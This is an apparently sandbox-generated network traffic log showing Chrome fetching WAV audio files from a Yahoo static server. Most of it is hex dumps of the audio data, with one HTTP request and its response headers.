ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 52 49 46 46 50 4d 01 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 58 17 01 00 54 27 25 ba 77 77 6a bb 34 af 21 ba 90 1e 63 bb f5 39 1c ba c9 bb 5a bb f1 c1 14 ba 47 5d 51 bb cf 4c 0b ba c5 0f 47 bb d0 07 00 ba 67 e1 3b bb ee 9a e6 b9 7d dd 2f bb 2d 07 cb b9 ed 0d 23 bb 53 2b ae b9 08 7e 15 bb a6 e9 90 b9 1e 39 07 bb 99 1b 68 b9 cc a8 f0 ba f3 82 30 b9 00 cd d1 ba 05 aa f7 b8 c2 11 b2 ba 14 33 95 b8 d0 ac 91 ba 61 58 e9 b7 cb a7 61 ba 60 93 44 37 e4 62 1f ba f6 c1 47 38 34 b4 b9 b9 95 95 a7 38 40 5d d2 b8 3f 65 e4 38 c3 6c 20 39 7e 82 0d 39 be 43 d4 39 cc 58 26 39 71 a6 2b 3a 8e 6a 3d 39 ff 75 6c 3a aa b0 53 39 77 34 96 3a 48 51 6a 39 af 9d b5 3a 48 39 81 39 b6 54 d4 3a 56 9d 8e 39 f3 31 f2 3a 41 d1 9d Data Ascii: RIFFPMWAVEfmt D b dataXT'%wwj4!c9ZG]QLGg;}/-#S+~9h03aXa`D7bG848@]?e8l 9~9C9X&9q+:j=9ul:S9w4:HQj9:H99T:V91:A
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 86 43 5c 38 5a 97 1a 3a 2e 81 bd 37 df 71 b4 39 a5 79 ce b6 d3 d2 cb 38 05 14 13 b8 af 98 1d b9 fc a5 88 b8 e1 32 d0 b9 5a e2 cc b8 ea 55 28 ba 75 18 0c b9 b7 d7 67 ba f8 b9 35 b9 4e 30 93 ba 99 99 63 b9 31 d9 b1 ba 6b ae 8a b9 0e cd cf ba a4 32 a5 b9 72 f2 ec ba 65 c6 c0 b9 f4 97 04 bb ea e1 dc b9 93 34 12 bb dd c4 f8 b9 89 3f 1f bb 66 f9 09 ba 71 a6 2b bb 00 e1 16 ba 43 51 37 bb 54 e6 22 ba 31 2c 42 bb 28 cb 2d ba 31 1f 4c bb 43 51 37 ba df 17 55 bb 0b 51 3f ba 19 08 5d bb 97 97 45 ba 35 ea 63 bb a6 f7 49 ba 22 b7 69 bb 3e 60 4c ba 0b 6c 6e bb b9 cb 4c ba 86 07 72 bb 67 45 4b ba fe 8a 74 bb d8 05 48 ba 9d f3 75 bb 47 4b 43 ba 3a 44 76 bb 8e 6a 3d ba d2 7c 75 bb 7f c9 36 ba fd 9b 73 bb 46 c8 2f ba 62 a7 70 bb bd bb 28 ba 02 9f 6c bb 6d ed 21 ba c3 8c 67 Data Ascii: C\8Z:.7q9y82ZU(ug5N0c1k2re4?fq+CQ7T"1,B(-1LCQ7UQ?]E5cI"i>`LlnLrgEKtHuGKC:Dvj=\|u6sF/bp(lm!g
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: cb dd eb 3c 3a 54 08 3d 2d 4b 13 3d ba 53 17 3d dd 93 22 3d ca c7 0d 3d a4 41 19 3d 38 4f ce 3c 01 93 e5 3c 85 f4 47 3c 12 d9 76 3c 5e aa 83 3b 21 bf e1 3b 0d 67 a2 3b b7 34 00 3c da 0e 28 3c 47 ce 56 3c e6 46 48 3c 45 7f 76 3c 0e a2 e4 3b 73 b8 1f 3c 16 b6 8e bb 6e 57 d8 ba e8 ac 87 bc a3 5a 64 bc c8 c7 c1 bc 4a 07 ad bc 27 2a bf bc 33 3c ab bc 25 c8 8d bc 5b 80 75 bc 79 7f 21 bc 6a cf fa bb 2f cd fe bb f0 f5 ba bb f3 53 82 bc 91 1f 65 bc d3 97 fd bc fe 19 ef bc 8d 7e 39 bd 03 e8 32 bd aa d0 63 bd 73 e4 5d bd 7a cb 7f bd 79 8a 7a bd 06 bd 86 bd 41 72 84 bd 63 2e 8a bd c1 39 88 bd ac 2d 94 bd ad 90 92 bd 50 19 aa bd 2b d6 a8 bd b8 24 c7 bd 51 3d c6 bd c9 c5 e0 bd f9 3a e0 bd 83 23 eb bd cd f4 ea bd 37 0a e2 bd 96 36 e2 bd 18 bd d1 bd a3 44 d2 bd 79 f5 cb Data Ascii: <:T=-K=S="==A=8O<<G<v<^;!;g;4<(<GV<FH<Ev<;s<nWZdJ'*3<%[uy!j/Se~92cs]zyzArc.9-P+$Q=:#76Dy
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 47 8d 37 bd 94 56 3d bd bd 2e 1f bd 9a 61 24 bd 89 b9 01 bd f3 4f 06 bd 8b f4 e0 bc 86 e0 e8 bc aa 28 e2 bc f7 cd e8 bc 71 4c 05 bd 74 f9 07 bd aa 51 25 bd 79 56 27 bd e8 cf 3e bd 72 28 40 bd 82 65 47 bd ea 0c 48 bd b5 fc 45 bd 5c ef 45 bd 51 b1 48 bd 89 ed 47 bd f1 7b 5b bd 15 02 5a bd e0 d4 80 bd 39 7b 7f bd 70 10 98 bd 32 9f 96 bd 35 f4 aa bd 2a 29 a9 bd db f9 b4 bd 46 d5 b2 bd 87 d5 b4 bd 8f 58 b2 bd af 5c ab bd 72 89 a8 bd 93 56 a0 bd 0c 31 9d bd d7 2b a0 bd 4c ba 9c bd f8 74 af bd c0 be ab bd c1 17 c6 bd aa 23 c2 bd 05 72 d7 bd a0 45 d3 bd 91 dd db bd 8e 7d d7 bd f6 85 d5 bd 47 f7 d0 bd b3 c2 ce bd 3a 0b ca bd 4e db d0 bd 11 02 cc bd d3 e9 dc bd ce f5 d7 bd 8f 20 ee bd 1f 18 e9 bd 8e e0 fc bd 2e c9 f7 bd f9 1a 00 be 0d 14 fb bd e6 b9 f5 bd 82 91 f0 Data Ascii: G7V=.a$O(qLtQ%yV'>r(@eGHE\EQHG{[Z9{p25*)FX\rV1+Lt#rE}G:N .
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: da dd 79 bd 6c 0e 84 bd dc e4 87 bd 5f 94 89 bd 12 9e 8d bd e3 c4 86 bd c2 fb 8a bd 21 14 7d bd 4f e8 82 bd 21 a2 6b bd c4 a2 74 bd 7e c4 62 bd ff ff 6b bd c8 64 68 bd 05 d3 71 bd 32 d8 79 bd b2 b8 81 bd 01 22 87 bd ed ff 8b bd 58 65 8e bd 20 50 93 bd 48 ae 8f bd 48 a1 94 bd 3e a4 8c bd 00 9b 91 bd ee ed 8d bd d2 e4 92 bd 43 6b 9b bd 3d 5f a0 bd 77 12 b2 bd c5 ff b6 bd 45 0e c7 bd 6b ef cb bd 6f 58 d2 bd b6 26 d7 bd c5 2c d2 bd 04 e1 d6 bd 22 a2 c9 bd 52 35 ce bd 49 21 c0 bd 52 8d c4 bd 8f 4a bd bd 66 8a c1 bd 80 92 c2 bd 76 a1 c6 bd b0 f3 ca bd bb cc ce bd c5 9d cf bd 76 3b d3 bd c7 05 cc bd 54 62 cf bd 7b 19 c1 bd 7f 2f c4 bd 53 09 b5 bd 79 d4 b7 bd 9b 3d ad bd 88 ba af bd 2d 49 aa bd 24 75 ac bd ea c9 aa bd b4 a2 ac bd a3 2f ad bd 88 b3 ae bd a8 8e ad Data Ascii: yl_!}O!kt~bkdhq2y"Xe PHH>Ck=_wEkoX&,"R5I!RJfvv;Tb{/Sy=-I$u/
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: ab a7 5c bd 55 ce 54 bd af 82 67 bd 8e 0e 60 bd 9e fb 7d bd a0 f8 76 bd 1f 9d 89 bd d5 58 86 bd bc 28 8d bd 10 25 8a bd 0f 5a 88 bd a6 99 85 bd 8b 04 80 bd 4c 13 7b bd 5b c2 76 bd a4 5c 72 bd cc aa 7b bd 7c d9 77 bd 49 51 84 bd 1e b4 82 bd a1 6e 89 bd 35 1d 88 bd 39 24 8a bd 3d 1e 89 bd 07 62 86 bd ff a6 85 bd 6c f1 80 bd f3 80 80 bd 32 2a 7e bd 11 df 7d bd ca 95 84 bd 9e bb 84 bd 39 eb 8f bd c2 5c 90 bd 74 e2 9b bd 35 9f 9c bd bf 8b a3 bd 7b 92 a4 bd 65 47 a4 bd 58 96 a5 bd 49 da 9e bd 80 6f a0 bd 11 d5 96 bd 02 af 98 bd ab 98 8f bd f6 b5 91 bd 37 fd 8a bd b5 5c 8d bd 46 ec 89 bd d2 8c 8c bd 9b 81 8a bd 9d 61 8d bd a4 f0 86 bd 98 0d 8a bd d9 e1 75 bd c0 8e 7c bd 1f 45 52 bd 97 5d 59 bd 03 2e 30 bd fa aa 37 bd 16 99 18 bd 09 73 20 bd 3f e2 0c bd c9 10 15 Data Ascii: \UTg`}vX(%ZL{[v\r{\|wIQn59$=bl2*~}9\t5{eGXIo7\Fau\|ER]Y.07s ?
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: f8 aa 34 bd 95 f9 29 bd 5b 58 26 bd 07 77 26 bd d3 4b 22 bd 1b 88 2f bd 59 d7 2a bd 10 a0 3f bd ca 6e 3a bd 74 93 4e bd 3c e7 48 bd 64 fd 56 bd 69 dc 50 bd 2c 08 57 bd 6a 79 50 bd 1c 0d 51 bd e2 18 4a bd 68 7b 4b bd 14 2b 44 bd 8c 23 4b bd a3 81 43 bd 6d 2e 4e bd b7 45 46 bd 45 7c 4f bd ec 56 47 bd a7 d5 4b bd d6 7d 43 bd 41 fa 41 bd 38 7a 39 bd e6 62 32 bd e7 c4 29 bd bb 49 21 bd a5 98 18 bd 0e bd 15 bd 5d 04 0d bd e7 bc 14 bd 75 08 0c bd 78 b7 1c bd 67 12 14 bd 4c d2 24 bd 3f 46 1c bd 1c 9b 22 bd 95 2f 1a bd 66 10 13 bd da cb 0a bd d7 81 f9 bc 6e 53 e9 bc 63 79 d1 bc 47 b3 c1 bc 43 83 b8 bc c5 33 a9 bc 20 c8 ae bc 37 fd 9f bc f4 59 a9 bc b5 20 9b bc df 95 96 bc c7 f9 88 bc cb 3a 58 bc 7c 52 3e bc d1 12 bf bb 09 12 8e bb c3 7b e8 3a 77 31 50 3b 30 bc ff Data Ascii: 4)[X&w&K"/Y*?n:tN<HdViP,WjyPQJh{K+D#KCm.NEFE\|OVGK}CAA8z9b2)I!]uxgL$?F"/fnScyGC3 7Y :X\|R>{:w1P;0
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 37 c0 fa bc 63 1b 05 bd aa 69 e4 bc 0f a3 f3 bc 7d 89 ca bc 0c 77 d9 bc 9d c6 b8 bc 04 5a c7 bc ed e4 b5 bc 8f 10 c4 bc 48 84 c0 bc 01 3a ce bc 2c 1c d3 bc 50 4d e0 bc d6 55 e5 bc d7 f2 f1 bc 10 9d ec bc 7d 95 f8 bc 06 6d e4 bc 6d b0 ef bc f3 de d4 bc c8 5d df bc 91 b6 ca bc 08 63 d4 bc 4a 7d ca bc 4f 4a d3 bc aa 53 cd bc 56 34 d5 bc 6a 86 c6 bc f2 6c cd bc 45 95 ac bc 0c 74 b2 bc 7d 8e 81 bc ac 59 86 bc 43 9a 24 bc 87 f9 2b bc b8 a7 b0 bb ac e5 ba bb 3a b3 29 bb 4e 28 35 bb f9 15 b3 ba f0 0b b8 ba ba 53 f8 b9 e2 ed c4 b9 26 1d e3 3a 8f c9 00 3b 69 de c1 3b 10 d2 cd 3b 0c 4d 36 3c 39 65 3e 3c d7 6b 81 3c 9f 7e 86 3c 54 77 9b 3c 13 87 a1 3c 04 18 a9 3c 4d 1a b0 3c 68 36 b0 3c 72 20 b8 3c a7 ca b9 3c b9 92 c2 3c 89 4b cd 3c e9 e7 d6 3c 23 0a ed 3c ec 70 f7 Data Ascii: 7ci}wZH:,PMU}mm]cJ}OJSV4jlEt}YC$+:)N(5S&:;i;;M6<9e><k<~<Tw<<<M<h6<r <<<K<<#<p
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 79 87 0c bc 20 6a 19 bc 2a d4 1a bc 57 b8 16 bc 32 1a 1a bc 71 fe ed bb 06 99 f8 bb ca 80 7f bb b2 17 8e bb ac 9f 20 ba e6 3c 98 ba 42 ec 98 3a 07 8e 05 3a ba 5e 9c 3a da 85 e1 39 2c 01 a4 39 5e cd 10 ba c3 6c a0 b9 c5 69 a6 ba c6 74 e5 38 3d ae 78 ba b5 94 c7 3a 8d 2d c4 39 f4 69 53 3b 11 76 02 3b 51 c1 91 3b 56 1c 4d 3b 59 6b a0 3b ca 3a 65 3b 0b 1c a4 3b f2 b2 67 3b 45 8f bf 3b a1 04 8d 3b f9 7c 08 3c ce 5f dc 3b c3 05 4b 3c 59 cf 2f 3c 88 22 8c 3c d4 45 7c 3c fb 71 b0 3c 92 1e a2 3c 75 a7 cd 3c 3a 11 bf 3c bb e9 e1 3c 2e 22 d3 3c 93 6a f0 3c 16 84 e1 3c 96 82 00 3d 8b 13 f2 3c 7d f6 0c 3d 2f 82 05 3d 5f 27 1d 3d ea c1 15 3d b9 7a 2d 3d d7 2d 26 3d 1e 51 39 3d e9 25 32 3d 87 f4 3d 3d d6 f3 36 3d 49 ae 3c 3d af e0 35 3d 59 92 39 3d 7f 00 33 3d ea 52 38 Data Ascii: y j*W2q <B::^:9,9^lit8=x:-9iS;v;Q;VM;Yk;:e;;g;E;;\|<_;K<Y/<"<E\|<q<<u<:<<."<j<<=<}=/=_'==z-=-&=Q9=%2===6=I<=5=Y9=3=R8
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 18 7c 4f 3c 49 86 6b 3c 7d 98 3e 3c 74 ea 5a 3c 87 3a 2e 3c ca ae 4a 3c 22 e1 2b 3c fb 53 48 3c 7d 0d 40 3c 90 5b 5c 3c 6e 64 68 3c b8 35 82 3c 81 ad 8b 3c 82 7c 99 3c a3 15 9f 3c b3 9f ac 3c 69 71 ab 3c cb a6 b8 3c 11 c3 b2 3c fc 95 bf 3c 17 95 b9 3c b3 f9 c5 3c 89 be c3 3c 0e aa cf 3c 1b e6 d1 3c 57 4f dd 3c 25 a5 e1 3c 8c 82 ec 3c 34 72 ef 3c c3 ba f9 3c 82 3b f8 3c d6 f2 00 3d 3c 75 fb 3c e8 3b 02 3d 06 3e fd 3c 5b c8 02 3d da 3d 02 3d 73 0b 06 3d 7c 92 0a 3d 3e 01 0e 3d 3f 82 16 3d e5 8e 19 3d 7d dd 22 3d d8 84 25 3d 9a 79 2c 3d 37 b8 2e 3d 7f 01 32 3d ec d3 33 3d 10 ae 34 3d 62 11 36 3d f5 4b 37 3d 86 3d 38 3d 3a 6a 3c 3d 18 e8 3c 3d dd e1 44 3d 70 ea 44 3d a6 cf 4e 3d 9b 61 4e 3d 62 fb 55 3d c0 15 55 3d e0 d2 56 3d 09 75 55 3d 11 6b 51 3d 5f 95 4f Data Ascii: \|O<Ik<}><tZ<:.<J<"+<SH<}@<[\<ndh<5<<\|<<<iq<<<<<<<<<WO<%<<4r<<;<=<u<;=><[===s=\|=>=?==}"=%=y,=7.=2=3=4=b6=K7==8=:j<=<=D=pD=N=aN=bU=U=V=uU=kQ=_O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	49974	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	568	OUT	GET /pv/static/misc/voice-close-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-01-10 23:27:15 UTC	927	IN	HTTP/1.1 206 Partial Content x-amz-id-2: vpKQV4g2oZFKlz5M+Pvr4rmj3YHJaeBHSZaiP9qIW38eOs8TJAe1lz9edZyj2pUW+K1raBmgk4A= x-amz-request-id: 76CG930VTPHTF10R Date: Thu, 28 Dec 2023 23:06:32 GMT Last-Modified: Wed, 05 May 2021 07:33:34 GMT ETag: "8f1c7f5187e8e78fdb31a5e6c688e803" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:32 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 149336 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1124444 ATS-Carp-Promotion: 1 Content-Range: bytes 0-149335/149336 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 52 49 46 46 50 47 02 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 d0 14 02 00 1c 72 df 36 a7 3e f3 37 a2 ef 84 36 21 27 e0 37 f3 04 b5 35 8c f0 ca 37 42 55 c0 b5 ee 4f b4 37 ca 97 8a b6 46 45 9c 37 44 1a e5 b6 94 d0 82 37 55 64 1e b7 b9 4d 51 37 87 3b 4a b7 37 26 1a 37 b0 a8 74 b7 6a fd c5 36 e3 20 8e b7 a4 b4 29 36 6d ed a1 b7 ce e6 78 b5 ee 4f b4 b7 f2 3f 90 b6 65 48 c5 b7 85 b1 00 b7 d2 d6 d4 b7 07 d9 37 b7 35 fb e2 b7 7f 96 6d b7 8e b5 ef b7 f7 f4 90 b7 d8 50 fa b7 a4 b4 a9 b7 0c c1 01 b8 4c bf c1 b7 25 4a 05 b8 e6 aa d7 b7 39 1e 08 b8 75 2c ec b7 c5 e2 09 b8 f6 8e fe b7 48 3d 0a b8 b6 c3 07 b8 48 3d 0a b8 6a 30 0f b8 3e d3 08 b8 14 33 15 b8 ac 59 06 b8 b9 80 1a b8 16 2b 03 b8 55 64 1e b8 f1 d9 fd Data Ascii: RIFFPGWAVEfmt D b datar6>76!'757BUO7FE7D7UdMQ7;J7&7tj6 )6mxO?eH75mPL%J9u,H=H=j0>3Y+Ud
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 6a 82 83 bd 19 c2 83 bd 60 4e 87 bd 94 90 87 bd 6f c3 8e bd 68 0a 8f bd 8b 74 9b bd 4c c3 9b bd 98 69 a6 bd 32 bf a6 bd 61 17 a8 bd 93 6e a8 bd 8b 2f a2 bd 21 84 a2 bd ae 57 98 bd 68 a7 98 bd a0 7d 8a bd 48 c6 8a bd 16 c0 75 bd 4f 41 76 bd 6b 3a 5c bd d3 ae 5c bd 33 35 4c bd 5c a2 4c bd d4 31 46 bd 65 9d 46 bd e5 8a 47 bd 07 f9 47 bd ce 66 48 bd 53 d7 48 bd 0f 2f 47 bd d1 a0 47 bd 1b cd 4a bd c0 42 4b bd d9 0a 53 bd f2 86 53 bd 47 20 58 bd 0f a1 58 bd af 64 55 bd 8d e5 55 bd 8a ce 46 bd c8 48 47 bd bb 18 2c bd 5c 85 2c bd 1e 5e 12 bd 94 bd 12 bd be 2e 05 bd 04 88 05 bd 50 6c fe bc 9d 1a ff bc 6a e4 f5 bc 10 90 f6 bc 40 a5 f7 bc e7 53 f8 bc 41 e9 f9 bc 17 9b fa bc 19 ee e3 bc f9 94 e4 bc 90 5c b1 bc dd e7 b1 bc 5e ff 58 bc 9a c9 59 bc 85 a7 6b bb 7c 6d 6d Data Ascii: j`NohtLi2an/!Wh}HuOAvk:\\35L\L1FeFGGfHSH/GGJBKSSG XXdUUFHG,\,^.Plj@SA\^XYk\|mm
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 7e 2d 29 3d f6 fc 25 3d 47 5e 26 3d 84 95 23 3d 8f f3 23 3d 22 34 1f 3d d9 8d 1f 3d 9e 17 14 3d 33 69 14 3d 48 dc f5 3c 18 5f f6 3c d5 a3 a3 3c 72 f4 a3 3c bf 4b 0b 3c c5 7a 0b 3c c6 33 e3 ba 2e ea e4 ba 1f 5d 23 bc 5d e7 23 bc 15 7f 82 bc f6 e2 82 bc 85 66 a2 bc 6f df a2 bc b0 b8 bd bc d0 43 be bc 1a b8 d9 bc 6e 55 da bc aa 49 f1 bc 8e f6 f1 bc 55 50 05 bd e8 ae 05 bd 30 3d 17 bd d0 a6 17 bd b6 45 29 bd 35 ba 29 bd 90 aa 36 bd 5e 27 37 bd a2 4a 44 bd 91 cf 44 bd 53 61 55 bd 3f f0 55 bd 56 21 65 bd 5d b9 65 bd 9e bb 6d bd 99 58 6e bd 06 33 6b bd 69 ce 6b bd 54 bf 5d bd c2 52 5e bd 19 3d 4e bd 57 c7 4e bd a8 cd 46 bd 1f 53 47 bd 7e d0 49 bd 05 57 4a bd ff 3b 56 bd cd c8 56 bd 73 7e 6a bd db 15 6b bd 78 be 80 bd 3a 10 81 bd 7b 96 8b bd e5 ed 8b bd 0d 67 95 Data Ascii: ~-)=%=G^&=#=#="4===3i=H<_<<r<K<z<3.]#]#foCnUIUP0=E)5)6^'7JDDSaU?UV!e]emXn3kikT]R^=NWNFSG~IWJ;VVs~jkx:{g
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 77 eb c2 3c 5a 32 c3 3c b5 ae cd 3c 4e f9 cd 3c 40 d0 e2 3c 1a 25 e3 3c bb 6d 03 3d 87 a1 03 3d e2 54 1a 3d 0e 95 1a 3d 58 fc 32 3d dc 49 33 3d 48 32 4c 3d ad 8d 4c 3d 76 2b 60 3d fd 91 60 3d ae e5 67 3d 5d 50 68 3d 7b 1e 66 3d 1a 88 66 3d e9 e7 63 3d 63 50 64 3d 35 3b 66 3d 2f a5 66 3d 10 56 6d 3d 75 c4 6d 3d 29 fc 76 3d 92 70 77 3d 07 5f 7f 3d bd d8 7f 3d 7b 87 82 3d 53 c6 82 3d 03 53 84 3d 45 93 84 3d c1 02 84 3d 52 43 84 3d 76 6d 80 3d 7b ac 80 3d 71 3b 74 3d 79 b3 74 3d 4e 68 62 3d 69 d7 62 3d 77 37 4a 3d 1b 9a 4a 3d b8 aa 2d 3d 6c fe 2d 3d 3c c6 0f 3d 4b 0a 10 3d b8 ff e5 3c f6 69 e6 3c fe e2 bb 3c 60 38 bc 3c df 02 ad 3c c6 52 ad 3c 74 42 af 3c c7 96 af 3c ba 8c ae 3c e1 e3 ae 3c 37 19 a4 3c 89 6d a4 3c 07 7f 91 3c ec cb 91 3c bf 49 6e 3c 80 cb 6e Data Ascii: w<Z2<<N<@<%<m==T==X2=I3=H2L=L=v+`=`=g=]Ph={f=f=c=cPd=5;f=/f=Vm=um=)v=pw=_=={=S=S=E==RC=vm={=q;t=yt=Nhb=ib=w7J=J=-=l-=<=K=<i<<`8<<R<tB<<<<7<m<<<In<n
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: da 7d 3c bd 44 f3 31 bd d6 71 32 bd 39 04 2c bd d1 7e 2c bd 73 9c 28 bd 64 14 29 bd ad 24 25 bd ca 99 25 bd 1e c5 1e bd a2 35 1f bd c3 15 14 bd 35 7f 14 bd 82 2c 06 bd da 8c 06 bd ad 01 ec bc 54 ad ec bc 00 d5 c9 bc 8d 6a ca bc 04 32 af bc b7 b5 af bc 53 38 a4 bc d5 b2 a4 bc fb b2 a5 bc 5e 2b a6 bc 5e d0 aa bc 66 48 ab bc 1c c3 aa bc 22 38 ab bc 61 61 9c bc 18 cb 9c bc 5d 26 7c bc 6c d0 7c bc 88 c1 30 bc 72 3a 31 bc 1b 45 bc bb 29 cc bc bb a2 3e c0 39 2e c2 bf 39 3e b3 f6 3b 20 3d f7 3b dd aa 72 3c 0e 3a 73 3c 57 db b0 3c 95 45 b1 3c ac 3f e1 3c 52 c8 e1 3c ed 56 03 3d 46 a7 03 3d 73 21 10 3d 5e 7a 10 3d 1e 12 18 3d de 70 18 3d 3c 4f 1d 3d 24 b2 1d 3d d1 66 24 3d c3 ce 24 3d fe 43 31 3d 3f b4 31 3d d5 6b 42 3d b1 e6 42 3d 7e 0a 53 3d 84 8f 53 3d 8d e9 5e Data Ascii: }<D1q29,~,s(d)$%%55,Tj2S8^+^fH"8aa]&\|l\|0r:1E)>9.9>; =;r<:s<W<E<?<R<V=F=s!=^z==p=<O=$=f$=$=C1=?1=kB=B=~S=S=^
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: a6 65 a8 bc 43 d9 a8 bc d3 80 ca bc e1 04 cb bc 01 5b ea bc 15 ee ea bc 99 0d 05 bd a6 5e 05 bd bf 4e 15 bd 7d a7 15 bd 77 0e 26 bd 40 6f 26 bd 62 87 36 bd 09 f0 36 bd 26 e0 42 bd 5f 4e 43 bd 29 68 47 bd 87 d7 47 bd 71 ed 44 bd fc 59 45 bd 15 24 3e bd 68 8b 3e bd 71 cd 34 bd 0d 2e 35 bd 79 eb 2b bd cf 45 2c bd cc bd 27 bd af 14 28 bd 38 36 2a bd 5e 8d 2a bd 6f 10 32 bd 08 6b 32 bd 31 12 3c bd a7 71 3c bd 41 b4 44 bd de 17 45 bd 5a 07 4b bd e2 6d 4b bd 91 b0 50 bd c0 19 51 bd cb f9 55 bd 8a 65 56 bd 3b 27 59 bd 7b 94 59 bd a2 32 59 bd b4 9f 59 bd 4d 0e 56 bd 84 79 56 bd 20 b0 50 bd 56 18 51 bd 9b 43 4c bd 85 a9 4c bd 79 5c 4b bd 35 c2 4b bd 32 cb 4c bd 2b 32 4d bd f4 81 4e bd 9b ea 4e bd 41 96 4f bd 3c 00 50 bd 74 0b 4d bd d0 74 4d bd 81 6a 42 bd d4 ce 42 Data Ascii: eC[^N}w&@o&b66&B_NC)hGGqDYE$>h>q4.5y+E,'(86^o2k21<q<ADEZKmKPQUeV;'Y{Y2YYMVyV PVQCLLy\K5K2L+2MNNAO<PtMtMjBB
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 2f b7 4a 3d 65 c1 52 3d 87 3f 53 3d dc 92 5a 3d a6 16 5b 3d 39 2b 5f 3d a2 b2 5f 3d c2 50 60 3d c3 d9 60 3d e5 90 5e 3d b9 19 5f 3d 5a 5c 59 3d f8 e2 59 3d be 38 4f 3d 3b ba 4f 3d c5 d4 3e 3d 6b 4d 3f 3d 22 17 29 3d c3 83 29 3d 73 ec 11 3d 2d 4c 12 3d 5d 8e fa 3c 7a 36 fb 3c b8 42 d9 3c eb d7 d9 3c 1b 1e c0 3c cf a4 c0 3c 8d 5a ad 3c 1e d6 ad 3c 1e 0e 9c 3c 14 7f 9c 3c 38 d8 87 3c a1 3c 88 3c a4 2f 5f 3c 68 da 5f 3c c7 a3 25 3c d6 2a 26 3c 33 6a ca 3b b4 27 cb 3b 59 5a 21 3b 35 3b 22 3b 77 d4 0f ba 74 59 0e ba a6 e6 4a bb 09 f9 4a bb 93 83 b3 bb ec c3 b3 bb 63 c6 f4 bb d1 36 f5 bb e5 cf 0e bc 6f 19 0f bc a8 1a 16 bc 73 6e 16 bc dd 6f 16 bc 05 ca 16 bc f9 2e 1d bc 61 93 1d bc 8d 0a 37 bc 2c 84 37 bc a5 d0 67 bc ea 6c 68 bc bc 8a 96 bc 07 f0 96 bc f8 78 c0 Data Ascii: /J=eR=?S=Z=[=9+_=_=P`=`=^=_=Z\Y=Y=8O=;O=>=kM?=")=)=s=-L=]<z6<B<<<<Z<<<<8<<</_<h_<%<*&<3j;';YZ!;5;";wtYJJc6osno.a7,7glhx
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: b7 13 b8 bb f2 ee b7 bb 35 0b 9f bb b6 d9 9e bb 5a 46 5c bb 72 b0 5b bb 44 1f 7d ba 32 85 79 ba 8a 48 0c 3b 1f 99 0d 3b 14 45 bd 3b 98 2b be 3b 6a 6d 22 3c 07 04 23 3c d3 ac 6b 3c 9f 69 6c 3c c6 e1 9a 3c 17 53 9b 3c 6e 11 be 3c 6c 94 be 3c 7b c5 db 3c f8 56 dc 3c 8a 44 f1 3c 92 df f1 3c fb bd 00 3d ae 0e 01 3d 16 78 09 3d 52 cc 09 3d cf b9 14 3d e8 12 15 3d c7 50 22 3d 0f b0 22 3d c7 d8 30 3d b0 3e 31 3d 83 61 3e 3d 85 cd 3e 3d 53 3d 49 3d ee ad 49 3d fb 4b 50 3d e3 be 50 3d 3e ad 52 3d e2 1f 53 3d 06 74 50 3d bf e3 50 3d d4 09 4b 3d de 74 4b 3d f4 af 43 3d 3f 15 44 3d 1b d0 3a 3d f2 2e 3b 3d 6e 21 31 3d 61 79 31 3d 56 e4 27 3d a7 35 28 3d 7f 7c 20 3d 55 c8 20 3d a7 aa 1c 3d 39 f3 1c 3d af 32 1d 3d 8b 7a 1d 3d a2 de 1f 3d 33 27 20 3d 69 28 21 3d e3 70 21 Data Ascii: 5ZF\r[D}2yH;;E;+;jm"<#<k<il<<S<n<l<{<V<D<<==x=R===P"="=0=>1=a>=>=S=I=I=KP=P=>R=S=tP=P=K=tK=C=?D=:=.;=n!1=ay1=V'=5(=\| =U ==9=2=z==3' =i(!=p!
